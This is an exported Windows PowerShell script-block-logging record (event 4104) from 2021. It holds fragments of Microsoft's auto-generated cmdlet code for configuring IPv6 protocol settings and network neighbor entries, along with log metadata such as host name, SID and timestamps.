$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
{ @('ByInterfaceIndex') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPAddress')) {
[object]$__cmdletization_value = ${IPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceIndex')) {
[object]$__cmdletization_value = ${InterfaceIndex}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LinkLayerAddress')) {
[object]$__cmdletization_value = ${LinkLayerAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('State')) {
[object]$__cmdletization_value = ${State}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'State'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'State'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
ScriptBlock ID: 4b3e0528-62fa-4e3b-9c6f-ea629235a64e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1805 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
ultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxTemporaryDesyncTime')) {
[object]$__cmdletization_value = ${MaxTemporaryDesyncTime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxRandomTime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxRandomTime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPv6Protocol.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetIPv6Protocol' -Alias '*'
ScriptBlock ID: 3d05760c-4b0b-425b-8bfb-0070b62c3dfc
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1804 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bfed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
efaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DhcpMediaSense')) {
[object]$__cmdletization_value = ${DhcpMediaSense}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DhcpMediaSense'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.DhcpMediaSense'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DhcpMediaSense'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.DhcpMediaSense'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MediaSenseEventLog')) {
[object]$__cmdletization_value = ${MediaSenseEventLog}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MediaSenseEventLog'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MediaSenseEventLog'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MediaSenseEventLog'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MediaSenseEventLog'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MldLevel')) {
[object]$__cmdletization_value = ${MldLevel}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldLevel'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldLevel'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldLevel'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldLevel'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MldVersion')) {
[object]$__cmdletization_value = ${MldVersion}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldVersion'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldVersion'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldVersion'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldVersion'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MulticastForwarding')) {
[object]$__cmdletization_value = ${MulticastForwarding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MulticastForwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MulticastForwarding'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MulticastForwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MulticastForwarding'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GroupForwardedFragments')) {
[object]$__cmdletization_value = ${GroupForwardedFragments}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GroupForwardedFragments'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.GroupForwardedFragments'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GroupForwardedFragments'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.GroupForwardedFragments'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RandomizeIdentifiers')) {
[object]$__cmdletization_value = ${RandomizeIdentifiers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RandomizeIdentifiers'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.RandomizeIdentifiers'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RandomizeIdentifiers'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.RandomizeIdentifiers'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressMaskReply')) {
[object]$__cmdletization_value = ${AddressMaskReply}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressMaskReply'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.AddressMaskReply'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressMaskReply'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.AddressMaskReply'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UseTemporaryAddresses')) {
[object]$__cmdletization_value = ${UseTemporaryAddresses}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseTemporaryAddresses'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.UseTemporaryAddresses'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseTemporaryAddresses'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.UseTemporaryAddresses'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxTemporaryDadAttempts')) {
[object]$__cmdletization_value = ${MaxTemporaryDadAttempts}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxDadAttempts'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxDadAttempts'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxTemporaryValidLifetime')) {
[object]$__cmdletization_value = ${MaxTemporaryValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxTemporaryPreferredLifetime')) {
[object]$__cmdletization_value = ${MaxTemporaryPreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxPreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxPreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TemporaryRegenerateTime')) {
[object]$__cmdletization_value = ${TemporaryRegenerateTime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegenerateTime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegenerateTime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defa
ScriptBlock ID: 3d05760c-4b0b-425b-8bfb-0070b62c3dfc
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1803 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bfed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
$__cmdletization_queryBuilder.FilterByProperty('RegenerateTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MaxTemporaryDesyncTime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MaxTemporaryDesyncTime})
$__cmdletization_queryBuilder.FilterByProperty('MaxRandomTime', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPv6Protocol.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetIPv6Protocol' -Alias '*'
function Set-NetIPv6Protocol
{
[CmdletBinding(DefaultParameterSetName='InputObject (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPv6Protocol')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetIPv6Protocol')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${DefaultHopLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('NeighborCacheLimit')]
[uint32]
${NeighborCacheLimitEntries},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('RouteCacheLimit')]
[uint32]
${RouteCacheLimitEntries},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ReassemblyLimit')]
[uint32]
${ReassemblyLimitBytes},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.IcmpRedirects]
${IcmpRedirects},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.SourceRoutingBehavior]
${SourceRoutingBehavior},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.DhcpMediaSense]
${DhcpMediaSense},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MediaSenseEventLog]
${MediaSenseEventLog},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldLevel]
${MldLevel},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldVersion]
${MldVersion},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MulticastForwarding]
${MulticastForwarding},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.GroupForwardedFragments]
${GroupForwardedFragments},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.RandomizeIdentifiers]
${RandomizeIdentifiers},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.AddressMaskReply]
${AddressMaskReply},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.UseTemporaryAddresses]
${UseTemporaryAddresses},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxDadAttempts')]
[uint32]
${MaxTemporaryDadAttempts},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxValidLifetime')]
[timespan]
${MaxTemporaryValidLifetime},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxPreferredLifetime')]
[timespan]
${MaxTemporaryPreferredLifetime},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('RegenerateTime')]
[timespan]
${TemporaryRegenerateTime},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxRandomTime')]
[timespan]
${MaxTemporaryDesyncTime},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DefaultHopLimit')) {
[object]$__cmdletization_value = ${DefaultHopLimit}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
